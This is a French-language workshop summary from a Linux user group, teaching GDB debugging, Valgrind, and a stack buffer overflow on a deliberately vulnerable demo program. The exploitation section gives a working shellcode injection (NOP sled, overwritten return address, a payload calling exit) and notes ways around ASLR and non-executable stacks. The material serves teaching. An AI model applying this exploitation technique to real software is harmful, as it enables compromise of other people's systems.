Résumé de la conférence-atelier du 16/02/2011 par le LouviLUG

Par David Lebrun

- Introduction à GDB
  - Lancement, exécution
  - Code source
  - Backtrace, inspection des frames
  - Affichage de la valeur de variables
  - Breakpoints, step-by-step
  - Désassemblage, registres
  - Modification de la mémoire au runtime, attach/detach
  - Threads
  - Coredumps
- Buffer overflows
  - Exploitation
  - Mitigation
- Valgrind

Introduction à GDB

Ce document vise à présenter par divers exemples les différentes possibilités de GDB. Pour des informations plus détaillées sur les fonctionnalités, je vous renvoie au help de gdb (commande “help” dans le shell gdb) ou à google (RTFM+STFW).

Option à passer à gcc pour ajouter les symboles de debug: -g (à passer lors de la transformation des .c en .o (dans les CFLAGS quoi))

Programme d'exemple utilisé ici : http://target0.be/prog1.c

Lancement d'un exécutable avec gdb

```
target0@seiken ~/lug-gdb $ gdb -q prog1
Reading symbols from /home/target0/lug-gdb/prog1...done.
(gdb)
```

Exécution du programme (avec des arguments)

```
(gdb) r test blah
Starting program: /home/target0/lug-gdb/prog1 test blah
```

Lorsque le programme segfault (Segmentation fault, càd reçoit un signal SIGSEGV du kernel), gdb l'intercepte et affiche où en était l'exécution du programme

```
(gdb) r test blah
Starting program: /home/target0/lug-gdb/prog1 test blah
buf: 0xbffff100
test
buf: 0xbffff100
blah
```

```
Program received signal SIGSEGV, Segmentation fault.
0x080484ae in blah (arg=0x0) at prog1.c:9
9           if (strlen(arg) == 0)
(gdb)
```

Afficher le code source autour de la ligne actuelle

```
(gdb) l
4       void blah(char *arg)
5       {
6           char buf[128];
7           memset(buf, 0, 128);
8
9           if (strlen(arg) == 0)
10              return;
11
12          strcpy(buf, arg);
13          printf("buf: %p\n", buf);
(gdb)
```

On peut afficher le backtrace des stack frames

```
(gdb) bt
#0  0x080484ae in blah (arg=0x0) at prog1.c:9
#1  0x08048530 in main (argc=3, argv=0xbffff264) at prog1.c:26
(gdb)
```

Aller inspecter une autre frame

```
(gdb) f 1
#1  0x08048530 in main (argc=3, argv=0xbffff264) at prog1.c:26
26              blah(argv[i]);
(gdb)
```

Afficher des informations sur la frame

```
(gdb) info frame
Stack level 1, frame at 0xbffff1c0:
 eip = 0x8048530 in main (prog1.c:26); saved eip 0xb7ea5bb6
 caller of frame at 0xbffff190
 source language c.
 Arglist at 0xbffff1b8, args: argc=3, argv=0xbffff264
 Locals at 0xbffff1b8, Previous frame's sp is 0xbffff1c0
 Saved registers:
  ebp at 0xbffff1b8, eip at 0xbffff1bc
(gdb)
```

Afficher la frame actuelle

```
(gdb) f
#1  0x08048530 in main (argc=3, argv=0xbffff264) at prog1.c:26
26              blah(argv[i]);
(gdb)
```

Afficher la valeur de variables

```
(gdb) p i
$1 = 3
(gdb) p &i
$2 = (int *) 0xbffff1a8
(gdb) p argv
$3 = (char **) 0xbffff264
(gdb) p argv[0]
$4 = 0xbffff3e6 "/home/target0/lug-gdb/prog1"
(gdb) p argv[1]
$5 = 0xbffff402 "test"
(gdb) p argv[2]
$6 = 0xbffff407 "blah"
(gdb) p argv[3]
$7 = 0x0
(gdb)
```

Placer un breakpoint à une ligne donnée

```
(gdb) b prog1.c:21
Breakpoint 1 at 0x80484fd: file prog1.c, line 21.
(gdb) r test blah
Starting program: /home/target0/lug-gdb/prog1 test blah

Breakpoint 1, main (argc=3, argv=0xbffff264) at prog1.c:21
21          r = argc;
(gdb)
```

Exécuter la suite en step-by-step (ligne par ligne)

```
(gdb) s
22          if (r == 4)
(gdb)
25          for (i = 1; i <= argc; i++)
(gdb)
26              blah(argv[i]);
(gdb)
blah (arg=0xbffff402 "test") at prog1.c:7
7           memset(buf, 0, 128);
(gdb)
```

Là on a exécuté en step-by-step en rentrant dans les appels de fonction. Il est aussi possible de faire du step-by-step en traitant les appels de fonction comme une seule instruction (commande “next”, abrégée “n”).

Relançons le programme.

```
(gdb) r test blah
Starting program: /home/target0/lug-gdb/prog1 test blah
buf: 0xbffff100
test
```

```
buf: 0xbffff100
blah

Program received signal SIGSEGV, Segmentation fault.
0x080484ae in blah (arg=0x0) at prog1.c:9
9           if (strlen(arg) == 0)
(gdb)
```

Afficher le code assembleur de la fonction actuelle

```
(gdb) disas
Dump of assembler code for function blah:
   0x08048484 <+0>:     push   %ebp
   0x08048485 <+1>:     mov    %esp,%ebp
   0x08048487 <+3>:     sub    $0x98,%esp
   0x0804848d <+9>:     movl   $0x80,0x8(%esp)
   0x08048495 <+17>:    movl   $0x0,0x4(%esp)
   0x0804849d <+25>:    lea    -0x88(%ebp),%eax
   0x080484a3 <+31>:    mov    %eax,(%esp)
   0x080484a6 <+34>:    call   0x804835c <memset@plt>
   0x080484ab <+39>:    mov    0x8(%ebp),%eax
=> 0x080484ae <+42>:    movzbl (%eax),%eax
   0x080484b1 <+45>:    test   %al,%al
   0x080484b3 <+47>:    je     0x80484f1 <blah+109>
   0x080484b5 <+49>:    mov    0x8(%ebp),%eax
   0x080484b8 <+52>:    mov    %eax,0x4(%esp)
   0x080484bc <+56>:    lea    -0x88(%ebp),%eax
   0x080484c2 <+62>:    mov    %eax,(%esp)
   0x080484c5 <+65>:    call   0x804837c <strcpy@plt>
   0x080484ca <+70>:    mov    $0x8048610,%eax
   0x080484cf <+75>:    lea    -0x88(%ebp),%edx
   0x080484d5 <+81>:    mov    %edx,0x4(%esp)
   0x080484d9 <+85>:    mov    %eax,(%esp)
   0x080484dc <+88>:    call   0x804838c <printf@plt>
   0x080484e1 <+93>:    lea    -0x88(%ebp),%eax
   0x080484e7 <+99>:    mov    %eax,(%esp)
   0x080484ea <+102>:   call   0x804839c <puts@plt>
   0x080484ef <+107>:   jmp    0x80484f2 <blah+110>
   0x080484f1 <+109>:   nop
   0x080484f2 <+110>:   leave
   0x080484f3 <+111>:   ret
End of assembler dump.
(gdb)
```

GDB indique l'instruction qui était exécutée par une flèche. Ici, movzbl (%eax), %eax, ce qui signifie “placer dans le registre eax le byte se situant à l'adresse mémoire contenue dans le registre eax”.

Afficher la valeur d'un registre

```
(gdb) info reg eax
eax            0x0      0
(gdb)
```

Le programme a donc essayé d'accéder à l'adresse mémoire 0, d'où le segfault.

Afficher le contenu de tous les registres principaux

```
(gdb) info reg
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xb7fcfff4       -1208156172
esp            0xbffff0f0       0xbffff0f0
ebp            0xbffff188       0xbffff188
esi            0x0      0
edi            0x0      0
eip            0x80484ae        0x80484ae <blah+42>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
```

Il est également possible de mettre en correspondance les lignes de la source C avec les instructions assembleur.

```
(gdb) disas /m blah
Dump of assembler code for function blah:
5       {
   0x08048484 <+0>:     push   %ebp
   0x08048485 <+1>:     mov    %esp,%ebp
   0x08048487 <+3>:     sub    $0x98,%esp

6           char buf[128];
7           memset(buf, 0, 128);
   0x0804848d <+9>:     movl   $0x80,0x8(%esp)
   0x08048495 <+17>:    movl   $0x0,0x4(%esp)
   0x0804849d <+25>:    lea    -0x88(%ebp),%eax
   0x080484a3 <+31>:    mov    %eax,(%esp)
   0x080484a6 <+34>:    call   0x804835c <memset@plt>

8
9           if (strlen(arg) == 0)
   0x080484ab <+39>:    mov    0x8(%ebp),%eax
   0x080484ae <+42>:    movzbl (%eax),%eax
   0x080484b1 <+45>:    test   %al,%al
   0x080484b3 <+47>:    je     0x80484f1 <blah+109>
…
```

On peut debugger un programme en cours d'exécution qu'on n'a pas lancé avec gdb.

```
target0@seiken ~/lug-gdb $ ./prog1 blah foo bar &
[1] 5037
target0@seiken ~/lug-gdb $ gdb -q prog1
Reading symbols from /home/target0/lug-gdb/prog1...done.
(gdb) attach 5037
Attaching to program: /home/target0/lug-gdb/prog1, process 5037
Reading symbols from /lib/libc.so.6...(no debugging symbols
found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols
found)...done.
Loaded symbols for /lib/ld-linux.so.2
main (argc=4, argv=0xbfe37614) at prog1.c:23
23              while (r);
(gdb)
```

On est ici dans une boucle infinie.

Il est possible de modifier la mémoire du programme en cours d'exécution. Essayons de le faire pour sortir de la boucle infinie.

```
(gdb) p &r
$1 = (int *) 0xbfe3755c
(gdb) set {int}(0xbfe3755c) = 0
(gdb) c
Continuing.
buf: 0xbfe374b0
blah
buf: 0xbfe374b0
foo
buf: 0xbfe374b0
bar

Program received signal SIGSEGV, Segmentation fault.
0x080484ae in blah (arg=0x0) at prog1.c:9
9           if (strlen(arg) == 0)
(gdb)
```

Ça a donc fonctionné correctement (pour libérer un programme attaché, il suffit de soit quitter gdb, soit utiliser la commande “detach”).

Maintenant, relançons le programme et essayons de faire en sorte qu'il ne segfault plus en faisant pointer argv[argc] vers une string valide.

```
(gdb) k
Kill the program being debugged? (y or n) y
(gdb) b *main
Breakpoint 1 at 0x80484f4: file prog1.c, line 18.
(gdb) r test
Starting program: /home/target0/lug-gdb/prog1 test
```

```
Breakpoint 1, main (argc=2, argv=0xbffff264) at prog1.c:18
18      {
(gdb) p argv[1]
$2 = 0xbffff406 "test"
(gdb) p argv[2]
$3 = 0x0
(gdb) p/x malloc(4)
$4 = 0x804b008
(gdb) p &argv[2]
$5 = (char **) 0xbffff26c
(gdb) set {int}(0xbffff26c) = 0x804b008
(gdb) set {char}($4) = 'f'
(gdb) set {char}($4+1) = 'o'
(gdb) set {char}($4+2) = 'o'
(gdb) set {char}($4+3) = 0
(gdb) c
Continuing.
buf: 0xbffff100
test
buf: 0xbffff100
foo

Program exited normally.
(gdb)
```

Debug d'un programme multithread

```
target0@seiken ~/ucl/OS/ex/ex2/ex2_lebrun_david $ export
LD_LIBRARY_PATH=.
target0@seiken ~/ucl/OS/ex/ex2/ex2_lebrun_david $ gdb -q rarcrack
Reading symbols from
/home/target0/ucl/OS/ex/ex2/ex2_lebrun_david/rarcrack...done.
(gdb) r -t 4 ../rars/file1.rar
Starting program:
/home/target0/ucl/OS/ex/ex2/ex2_lebrun_david/rarcrack -t 4
../rars/file1.rar
[Thread debugging using libthread_db enabled]
[New Thread 0xb7cecb70 (LWP 3913)]
[New Thread 0xb74ebb70 (LWP 3914)]
[New Thread 0xb6ceab70 (LWP 3915)]
[New Thread 0xb62ffb70 (LWP 3916)]
^C
Program received signal SIGINT, Interrupt.
0xb7fe1424 in __kernel_vsyscall ()
(gdb)
```

Affichage des différents threads

```
(gdb) info threads
  5 Thread 0xb62ffb70 (LWP 4172)  0xb7fb6004 in
SHA1Transform(unsigned int*, unsigned char*, bool) () from
./libunrar.so
```

```
  4 Thread 0xb6ceab70 (LWP 4171)  0xb7fb6439 in
SHA1Transform(unsigned int*, unsigned char*, bool) () from
./libunrar.so
  3 Thread 0xb74ebb70 (LWP 4170)  0xb7fb6a3c in
SHA1Transform(unsigned int*, unsigned char*, bool) () from
./libunrar.so
  2 Thread 0xb7cecb70 (LWP 4169)  0xb7fb745c in
SHA1Transform(unsigned int*, unsigned char*, bool) () from
./libunrar.so
* 1 Thread 0xb7ced8e0 (LWP 4166)  0xb7fe1424 in __kernel_vsyscall
()
(gdb)
```

Le thread courant et indiqué par un “*”.

Switcher entre les threads

```
(gdb) t 2
[Switching to thread 2 (Thread 0xb7cecb70 (LWP 4169))]#0
0xb7fb745c in SHA1Transform(unsigned int*, unsigned char*, bool)
() from ./libunrar.so
(gdb)
```

En affichant le backtrace, on voit qu'il est occupé à tester un mot de passe

```
(gdb) bt
#0  0xb7fb745c in SHA1Transform(unsigned int*, unsigned char*,
bool) () from ./libunrar.so
#1  0xb7fb7c83 in hash_process(hash_context*, unsigned char*,
unsigned int, bool) () from ./libunrar.so
#2  0xb7fad63e in CryptData::SetCryptKeys(wchar_t const*, unsigned
char const*, bool, bool, bool) () from ./libunrar.so
#3  0xb7fb040a in ComprDataIO::SetEncryption(int, wchar_t const*,
unsigned char const*, bool, bool) () from ./libunrar.so
#4  0xb7fba3ce in CmdExtract::ExtractCurrentFile(CommandData*,
Archive&, unsigned int, bool&) () from ./libunrar.so
#5  0xb7fcac5b in ProcessFile(void*, int, char*, char*, wchar_t*,
wchar_t*) () from ./libunrar.so
#6  0xb7fcad9f in RARProcessFile () from ./libunrar.so
#7  0x080494d6 in unrar_test_password (file=0xbffff3b6
"../rars/file1.rar", pwd=0xb7cec36d "at") at main.c:52
#8  0x08048e38 in crack_start (arg=0x804c008) at cracker.c:99
#9  0xb7f7198e in start_thread () from /lib/libpthread.so.0
#10 0xb7ef469e in clone () from /lib/libc.so.6
(gdb)
```

Analyse d'un coredump

Quand un programme lancé hors de gdb segfault, le kernel peut procéder au dump de l'image mémoire du processus sur le disque. Sous Linux, ce n'est pas le cas par défaut. Il faut pour cela modifier une limite (cette modification n'est valable que pour le shell courant, pour modifier cette limite globalement, voir /etc/security/limits.conf) :

```
target0@seiken ~/lug-gdb $ ulimit -c unlimited
target0@seiken ~/lug-gdb $ ./prog1 blah
buf: 0xbfe0a6d0
blah
Segmentation fault (core dumped)
target0@seiken ~/lug-gdb $
```

Le fichier dans lequel le coredump est écrit est par défaut “core” (man core pour plus d'infos).
On peut ensuite analyser ce coredump avec gdb

```
target0@seiken ~/lug-gdb $ gdb -q prog1 -c core
Reading symbols from /home/target0/lug-gdb/prog1...done.
[New Thread 4479]

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols
found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols
found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./prog1 blah'.
Program terminated with signal 11, Segmentation fault.
#0  0x080484ae in blah (arg=0x0) at prog1.c:9
9           if (strlen(arg) == 0)
(gdb)
```

L'analyse se fait identiquement à un programme lancé avec gdb, si ce n'est qu'on ne peut pas modifier la mémoire ni appeler les fonctions.

Buffer overflows

Lorsqu'un programme copie des données dans un buffer se trouvant sur la stack et qu'il ne vérifie pas la taille des données à copier, il peut écrire après la fin du buffer et aller jusqu'à écraser l'adresse de retour. Lorsqu'une fonction se termine, le programme va chercher l'adresse de retour et y saute pour exécuter la prochaine instruction.

Il est ainsi possible d'écrire du code machine dans le buffer et de remplacer l'adresse de retour par l'adresse du buffer, et par conséquent modifier le comportement du programme vulnérable. On appelle le code machine injecté le “shellcode”. C'est une des failles les plus anciennes.

Lorsque la faille est exploitable à distance, les shellcodes ont très souvent pour objectif de faire écouter un shell sur un port donné afin de pouvoir prendre le contrôle de la machine.

Exploitation

Le programme prog1.c est vulnérable à ce type de faille, lorsque la fonction blah() effectue le strcpy (voilà pourquoi strcpy c'est *mal* et qu'il faut toujours utiliser strncpy).

Premièrement, cherchons le nombre de bytes à écrire pour écraser l'adresse de retour.

```
(gdb) r
```

```
Starting program: /home/target0/lug-gdb/prog1

Program received signal SIGSEGV, Segmentation fault.
0x080484ae in blah (arg=0x0) at prog1.c:9
9           if (strlen(arg) == 0)
(gdb) info frame
Stack level 0, frame at 0xbffff180:
 eip = 0x80484ae in blah (prog1.c:9); saved eip 0x8048530
 called by frame at 0xbffff1b0
 source language c.
 Arglist at 0xbffff178, args: arg=0x0
 Locals at 0xbffff178, Previous frame's sp is 0xbffff180
 Saved registers:
  ebp at 0xbffff178, eip at 0xbffff17c
(gdb) p &buf
$1 = (char (*)[128]) 0xbffff0f0
(gdb) p/d 0xbffff180-0xbffff0f0
$2 = 144
(gdb)
```

L'adresse de retour se trouve juste en dessous de la stack frame précédente. Celle-ci est à l'adresse 0xbffff180 comme indiqué dans le "info frame". Il faut donc écrire 144 bytes pour écraser l'adresse de retour (celle-ci se situant sur les 4 derniers bytes).

```
(gdb) r `perl -e 'print "A"x144'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/target0/lug-gdb/prog1 `perl -e 'print
"A"x144'`
buf: 0xbffff060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

À noter que la représentation hexadécimale du code ascii de 'A' est 0x41. Affichons les registres.

```
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
(gdb)
```

Le registre eip (qui pointe vers l'adresse de l'instruction à exécuter) contient donc 0x41414141, ce qui signifie que l'adresse de retour a bien été écrasée.

Injectons à présent du code machine. Ce code aura pour but d'appeler le syscall "exit" avec la valeur 42.

```
(gdb) r `perl -e 'print
"\x90\xb9\x60\xf0\xff\xbf\x31\xc0\x88\x41\x1c\x88\x41\x1d\x88\x41\
```

```
x1e\x88\x41\x21\x88\x41\x22\x88\x41\x23\xbb\x2a\xff\xff\xff\xb8\x0
1\xff\xff\xff\xcd\x80","\x90"x102,"\x60\xf0\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/target0/lug-gdb/prog1 `perl -e 'print
"\x90\xb9\x60\xf0\xff\xbf\x31\xc0\x88\x41\x1c\x88\x41\x1d\x88\x41\
x1e\x88\x41\x21\x88\x41\x22\x88\x41\x23\xbb\x2a\xff\xff\xff\xb8\x0
1\xff\xff\xff\xcd\x80","\x90"x102,"\x60\xf0\xff\xbf"'`
buf: 0xbffff060
• ¹ `ðÿ¿1À^A^A^A^A!^
A"^A#»*ÿÿÿ¸ÿÿÿÍ€•••••••••••••••••••••••••••••••
•••••••••••••••••••••••••••••••••

Program exited with code 052.
(gdb)
```

052 est la représentation octale de 42. On a donc réussi à modifier le comportement du programme.

La structure du shellcode se compose comme suit : d'abord les instructions qui seront exécutées, ensuite un padding de NOPs (no operation, instruction qui ne fait rien, valeur hexa 0x90) et enfin l'adresse qui remplacera l'adresse de retour.

Voyons à quoi correspond le code en mettant un breakpoint juste après le strcpy.

```
(gdb) b prog1.c:13
Breakpoint 1 at 0x80484ca: file prog1.c, line 13.
(gdb) r `perl -e 'print
"\x90\xb9\x60\xf0\xff\xbf\x31\xc0\x88\x41\x1c\x88\x41\x1d\x88\x41\
x1e\x88\x41\x21\x88\x41\x22\x88\x41\x23\xbb\x2a\xff\xff\xff\xb8\x0
1\xff\xff\xff\xcd\x80","\x90"x102,"\x60\xf0\xff\xbf"'`
Starting program: /home/target0/lug-gdb/prog1 `perl -e 'print
"\x90\xb9\x60\xf0\xff\xbf\x31\xc0\x88\x41\x1c\x88\x41\x1d\x88\x41\
x1e\x88\x41\x21\x88\x41\x22\x88\x41\x23\xbb\x2a\xff\xff\xff\xb8\x0
1\xff\xff\xff\xcd\x80","\x90"x102,"\x60\xf0\xff\xbf"'`

Breakpoint 1, blah (arg=0xbffff300 "\031") at prog1.c:13
13          printf("buf: %p\n", buf);
(gdb) x/15i buf
   0xbffff060:  nop                               1
   0xbffff061:  mov    $0xbffff060,%ecx           2
   0xbffff066:  xor    %eax,%eax                  3
   0xbffff068:  mov    %al,0x1c(%ecx)             4
   0xbffff06b:  mov    %al,0x1d(%ecx)             5
   0xbffff06e:  mov    %al,0x1e(%ecx)             6
   0xbffff071:  mov    %al,0x21(%ecx)             7
   0xbffff074:  mov    %al,0x22(%ecx)             8
   0xbffff077:  mov    %al,0x23(%ecx)             9
   0xbffff07a:  mov    $0xffffff2a,%ebx           10
   0xbffff07f:  mov    $0xffffff01,%eax           11
   0xbffff084:  int    $0x80                      12
   0xbffff086:  nop                               13
   0xbffff087:  nop                               14
```

```
   0xbffff088:  nop                                15
(gdb)
```

Le x/15i indique à gdb d'afficher 15 instructions à partir de l'adresse donnée. help x pour plus d'infos (j'ai rajouté les numéros de ligne pour plus de clarté).

Seules les instructions 10, 11 et 12 font le véritable travail : charger l'argument d'exit dans le registre ebx, charger le code du syscall exit dans le registre eax et déclencher l'interruption 0x80 (syscall).

Cependant, le code d'exit et le numéro du syscall sont des entiers sur 32 bits. Les deux instructions devraient donc être :

```
   0xbffff07a:  mov    $0x2a,%ebx
   0xbffff07f:  mov    $0x1,%eax
```

Ce qui se traduirait en shellcode par "`\xbb\x2a\x00\x00\x00\xb8\x01\x00\x00\x00`". Seulement, le shellcode est une chaine de caractères qui est passée en argument du programme. Là où le problème survient c'est que les strings sont délimitées par un caractère nul (0). La fonction strcpy ignorerait tout ce qui se trouve après le premier \x00.

Pour contourner ce problème, il a fallu mettre une autre valeur que \x00 (\xff ici, choisi arbitrairement) et rajouter des instructions au début du shellcode pour aller remplacer les FF par des 0. C'est ce que font les lignes 2 à 9.

Mitigation

Sur les systèmes actuels, l'exploitation de buffer overflow est devenue plus compliquée.

Premièrement, l'adresse de la stack est définie aléatoirement. Cette option se règle dans /proc/sys/kernel/randomize_va_space. Une valeur de 0 indique pas de randomization, 1 indique une randomization de la stack, > 1 indique une randomization de la stack et du heap (voir la fonction load_elf_binary dans fs/binfmt_elf.c de la source de Linux pour plus d'infos).

Deuxièmement, la stack est maintenant marquée par défaut comme non exécutable. Pour la rendre exécutable, il faut compiler le programme en passant l'argument -z execstack à gcc.

Cependant ces protections ne sont pas absolues. La stack non exécutable peut être contournée en effectuant une attaque dite "return-to-libc", c'est-à-dire en mettant comme adresse de retour l'adresse d'une fonction de la libc (par exemple system()) et en lui passant les arguments qui vont bien. Ensuite, la randomization de la stack n'est efficace que sur des systèmes 64 bits. En effet, sur 32 bits, seuls les 16 bits de poids faible de l'adresse sont randomizés, ce qui rend possible un bruteforce pour trouver l'adresse.

VALGRIND

Valgrind est une série d'outils permettant d'analyser différents aspects d'un programme.

Memcheck

L'outil principal, memcheck, vérifie que les opérations sur la mémoire sont cohérentes. Il indiquera par exemple si l'exécutable essaye de lire ou d'écrire dans une zone mémoire non allouée, et

affichera à la fin de l'exécution le nombres de bytes malloc()'ed, free()'ed, définitivement perdus (memleak), etc.

Petit exemple avec un programme simple :

```
int main(int ac, char **av)
{
    char *c = malloc(strlen(av[1]));
    strcpy(c, av[1]);
    printf("%s\n", c);
    return 0;
}
```

```
target0@seiken ~/lug-gdb $ valgrind --tool=memcheck ./prog3 42
==5233== Memcheck, a memory error detector
==5233== Copyright (C) 2002-2009, and GNU GPL'd, by Julian Seward
et al.
==5233==  Using  Valgrind-3.5.0  and  LibVEX;  rerun  with  -h  for
copyright info
==5233== Command: ./prog3 42
==5233==
==5233== Invalid write of size 1
==5233==                        at     0x4026E68:     strcpy     (in
/usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==5233==    by 0x80484C0: main (in /home/target0/lug-gdb/prog3)
==5233==   Address 0x417d02a is 0 bytes after a block of size 2
alloc'd
==5233==                        at     0x402595F:     malloc     (in
/usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==5233==    by 0x80484A4: main (in /home/target0/lug-gdb/prog3)
==5233==
==5233== Invalid read of size 1
==5233==                        at     0x4026DD1:     strlen     (in
/usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==5233==    by 0x4094A84: puts (in /lib/libc-2.11.2.so)
==5233==    by 0x80484CC: main (in /home/target0/lug-gdb/prog3)
==5233==   Address 0x417d02a is 0 bytes after a block of size 2
alloc'd
==5233==                        at     0x402595F:     malloc     (in
/usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==5233==    by 0x80484A4: main (in /home/target0/lug-gdb/prog3)
==5233==
42
==5233==
==5233== HEAP SUMMARY:
==5233==     in use at exit: 2 bytes in 1 blocks
==5233==   total heap usage: 1 allocs, 0 frees, 2 bytes allocated
==5233==
==5233== LEAK SUMMARY:
==5233==    definitely lost: 2 bytes in 1 blocks
==5233==    indirectly lost: 0 bytes in 0 blocks
==5233==      possibly lost: 0 bytes in 0 blocks
==5233==    still reachable: 0 bytes in 0 blocks
```

```
==5233==         suppressed: 0 bytes in 0 blocks
==5233== Rerun with --leak-check=full to see details of leaked
memory
==5233==
==5233== For counts of detected and suppressed errors, rerun with:
-v
==5233== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 7
from 7)
target0@seiken ~/lug-gdb $
```

Le numéro entre == est le pid.

On voit donc que valgrind râle parce que le strcpy et le printf écrivent trop loin (la taille indiquée dans le malloc étant trop petite, elle ne prend pas en compte le caractère nul terminal).

Valgrind affiche le résumé de l'utilisation du heap et des leaks lorsque le programme se termine. Comme la variable c n'a pas été free, on a perdu 2 bytes.

Il est bon de préciser que l'outil memcheck ralentit l'exécution du programme de 10 à 30x.

Autres outils

Il existe plusieurs autres outils avec valgrind. Deux qui peuvent être intéressants sont cachegrind et helgrind.

Cachegrind affiche des statistiques sur les cache miss (L1/L2, data/instruction) (peut ralentir l'exécution jusque 100x). Helgrind vérifie les race conditions qui peuvent survenir avec un programme multithread. Il affichera des alertes dès que plusieurs threads peuvent accéder en même temps à une valeur en mémoire sans être protégés par des mutex.